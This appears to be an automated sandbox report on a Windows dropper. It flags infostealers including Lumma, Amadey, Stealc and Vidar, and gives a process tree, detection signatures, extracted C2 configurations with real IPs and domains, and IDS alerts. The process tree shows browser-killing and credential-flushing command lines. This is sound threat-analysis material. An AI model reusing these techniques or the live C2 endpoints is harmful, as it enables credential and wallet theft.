Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1559925
MD5:	1ff9879aba9138b20606b03471ec3d11
SHA1:	3b4e3eec402e23200372840a1ba15362a5171119
SHA256:	83a4c4955e180a527d9057901b5e1abfea25de6078856364d795ca53d68cd530
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Excessive usage of taskkill to terminate processes

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7592 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 1FF9879ABA9138B20606B03471EC3D11)

skotes.exe (PID: 7788 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 1FF9879ABA9138B20606B03471EC3D11)

skotes.exe (PID: 7780 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 1FF9879ABA9138B20606B03471EC3D11)

skotes.exe (PID: 7264 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 1FF9879ABA9138B20606B03471EC3D11)

45de1d3aba.exe (PID: 7400 cmdline: "C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe" MD5: 4658DFD86A5C61DF7F4DC30347017718)

baacd96df2.exe (PID: 7936 cmdline: "C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe" MD5: 3B43C7942554833F316CF7108B571F8B)

chrome.exe (PID: 5808 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 2920 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2008 --field-trial-handle=2132,i,2194522799737564576,4451323205111552988,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

9225ca0b64.exe (PID: 2124 cmdline: "C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe" MD5: 2FC35A6DB90CEBC471ECFB0F4B67D539)

taskkill.exe (PID: 1704 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7348 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6592 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6724 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1236 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 736 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6164 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 6380 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

bec28015e3.exe (PID: 6340 cmdline: "C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe" MD5: B6232971846816075FB9476CB82148FB)

25a6468a3b.exe (PID: 4044 cmdline: "C:\Users\user\AppData\Local\Temp\1007864001\25a6468a3b.exe" MD5: 6B7999360A3BBA7B9C342B9F362D09B3)

45de1d3aba.exe (PID: 3052 cmdline: "C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe" MD5: 4658DFD86A5C61DF7F4DC30347017718)

firefox.exe (PID: 6348 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6404 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 8144 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2228 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e9fcfe91-652a-46e4-bff1-f5e6f037bc26} 6404 "\\.\pipe\gecko-crash-server-pipe.6404" 13818b71110 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 1720 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4012 -parentBuildID 20230927232528 -prefsHandle 4020 -prefMapHandle 4016 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b0749eda-8a86-42ec-9730-b28c3a1804d2} 6404 "\\.\pipe\gecko-crash-server-pipe.6404" 1382aceab10 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

baacd96df2.exe (PID: 2288 cmdline: "C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe" MD5: 3B43C7942554833F316CF7108B571F8B)

9225ca0b64.exe (PID: 7120 cmdline: "C:\Users\user\AppData\Local\Temp\1007862001\9225ca0b64.exe" MD5: 2FC35A6DB90CEBC471ECFB0F4B67D539)

taskkill.exe (PID: 6832 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6924 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5816 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5580 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5720 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1260 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4564 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 1816 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 5236 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 8188 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2256 -prefMapHandle 2248 -prefsLen 25416 -prefMapSize 238769 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4492d6da-baf1-4264-9768-f2bb72b60280} 5236 "\\.\pipe\gecko-crash-server-pipe.5236" 1c4c2370710 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

bec28015e3.exe (PID: 5212 cmdline: "C:\Users\user\AppData\Local\Temp\1007863001\bec28015e3.exe" MD5: B6232971846816075FB9476CB82148FB)

45de1d3aba.exe (PID: 4192 cmdline: "C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe" MD5: 4658DFD86A5C61DF7F4DC30347017718)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": ["3xp3cts1aim.sbs", "p3ar11fter.sbs", "p10tgrace.sbs", "processhol.sbs", "peepburry828.sbs"], "Build id": "LOGS11--LiveTraffic"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001D.00000003.2700841413.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000009.00000002.2948340376.00000000009BC000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001D.00000002.2949273914.00000000008F1000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1705854887.00000000005A1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.2319290778.0000000004A30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2947211621.0000000000261000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.1741195588.0000000000261000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1665128762.0000000004F90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.1700594348.0000000004890000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000003.2533169769.00000000051C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000003.1700487388.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.2948340376.00000000008F1000.00000040.00000001.01000000.0000000A.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000002.1740995593.0000000000261000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000009.00000002.2958384955.000000000144E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: baacd96df2.exe PID: 7936	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: baacd96df2.exe PID: 7936	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: baacd96df2.exe PID: 7936	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: baacd96df2.exe PID: 7936	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 9225ca0b64.exe PID: 2124	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: baacd96df2.exe PID: 2288	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: baacd96df2.exe PID: 2288	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 9225ca0b64.exe PID: 7120	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Click to see the 17 entries

Unpacked PEs

Source	Rule	Description	Author
2.2.skotes.exe.260000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
1.2.skotes.exe.260000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.5a0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.skotes.exe.260000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7264, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\45de1d3aba.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1007861001\baacd96df2.exe, ParentProcessId: 7936, ParentProcessName: baacd96df2.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 5808, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1007860001\45de1d3aba.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 7264, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\45de1d3aba.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T07:10:17.466010+0100	2028371	3	Unknown Traffic	192.168.2.4	49780	188.114.97.3	443	TCP
2024-11-21T07:10:32.762418+0100	2028371	3	Unknown Traffic	192.168.2.4	49821	188.114.97.3	443	TCP
2024-11-21T07:10:49.807051+0100	2028371	3	Unknown Traffic	192.168.2.4	49895	172.67.206.172	443	TCP
2024-11-21T07:11:01.363561+0100	2028371	3	Unknown Traffic	192.168.2.4	49930	188.114.97.3	443	TCP
2024-11-21T07:11:05.241792+0100	2028371	3	Unknown Traffic	192.168.2.4	49952	172.67.206.172	443	TCP
2024-11-21T07:11:08.696955+0100	2028371	3	Unknown Traffic	192.168.2.4	49968	188.114.97.3	443	TCP
2024-11-21T07:11:22.625421+0100	2028371	3	Unknown Traffic	192.168.2.4	49995	188.114.97.3	443	TCP
2024-11-21T07:11:25.311117+0100	2028371	3	Unknown Traffic	192.168.2.4	50001	188.114.97.3	443	TCP
2024-11-21T07:11:28.032524+0100	2028371	3	Unknown Traffic	192.168.2.4	50009	188.114.97.3	443	TCP
2024-11-21T07:11:31.186913+0100	2028371	3	Unknown Traffic	192.168.2.4	50017	188.114.97.3	443	TCP
2024-11-21T07:11:34.023334+0100	2028371	3	Unknown Traffic	192.168.2.4	50024	188.114.97.3	443	TCP
2024-11-21T07:11:41.388252+0100	2028371	3	Unknown Traffic	192.168.2.4	50050	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T07:10:47.900813+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49780	188.114.97.3	443	TCP
2024-11-21T07:10:59.888056+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49895	172.67.206.172	443	TCP
2024-11-21T07:11:03.536425+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49821	188.114.97.3	443	TCP
2024-11-21T07:11:16.303588+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49968	188.114.97.3	443	TCP
2024-11-21T07:11:16.481304+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49930	188.114.97.3	443	TCP
2024-11-21T07:11:23.401476+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49995	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T07:10:47.900813+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49780	188.114.97.3	443	TCP
2024-11-21T07:10:59.888056+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49895	172.67.206.172	443	TCP
2024-11-21T07:11:03.536425+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49821	188.114.97.3	443	TCP
2024-11-21T07:11:16.303588+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49968	188.114.97.3	443	TCP
2024-11-21T07:11:16.481304+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49930	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T07:11:23.401476+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49995	188.114.97.3	443	TCP

ET MALWARE Observed DNS Query to Lumma Stealer Domain (processhol .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T07:10:47.903604+0100	2057697	1	A Network Trojan was detected	192.168.2.4	55405	1.1.1.1	53	UDP
2024-11-21T07:11:03.539745+0100	2057697	1	A Network Trojan was detected	192.168.2.4	63971	1.1.1.1	53	UDP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (befall-sm0ker .sbs in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T07:11:01.363561+0100	2057655	1	Domain Observed Used for C2 Detected	192.168.2.4	49930	188.114.97.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (cook-rain .sbs in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T07:10:17.466010+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.4	49780	188.114.97.3	443	TCP
2024-11-21T07:10:32.762418+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.4	49821	188.114.97.3	443	TCP
2024-11-21T07:11:08.696955+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.4	49968	188.114.97.3	443	TCP
2024-11-21T07:11:22.625421+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.4	49995	188.114.97.3	443	TCP
2024-11-21T07:11:25.311117+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.4	50001	188.114.97.3	443	TCP
2024-11-21T07:11:28.032524+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.4	50009	188.114.97.3	443	TCP
2024-11-21T07:11:31.186913+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.4	50017	188.114.97.3	443	TCP
2024-11-21T07:11:34.023334+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.4	50024	188.114.97.3	443	TCP
2024-11-21T07:11:41.388252+0100	2057731	1	Domain Observed Used for C2 Detected	192.168.2.4	50050	188.114.97.3	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (librari-night .sbs in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T07:10:49.807051+0100	2057659	1	Domain Observed Used for C2 Detected	192.168.2.4	49895	172.67.206.172	443	TCP
2024-11-21T07:11:05.241792+0100	2057659	1	Domain Observed Used for C2 Detected	192.168.2.4	49952	172.67.206.172	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T07:10:17.685344+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49781	185.215.113.43	80	TCP
2024-11-21T07:10:26.202521+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49803	185.215.113.43	80	TCP
2024-11-21T07:10:33.867935+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49823	185.215.113.43	80	TCP
2024-11-21T07:10:44.198731+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49875	185.215.113.43	80	TCP
2024-11-21T07:10:57.286445+0100	2044696	1	A Network Trojan was detected	192.168.2.4	49918	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-21T07:11:27.550717+0100	2054350	1	A Network Trojan was detected	192.168.2.4	50007	34.116.198.130	80	TCP
2024-11-21T07:11:30.242858+0100	2054350	1	A Network Trojan was detected	192.168.2.4	50016	34.116.198.130	80	TCP
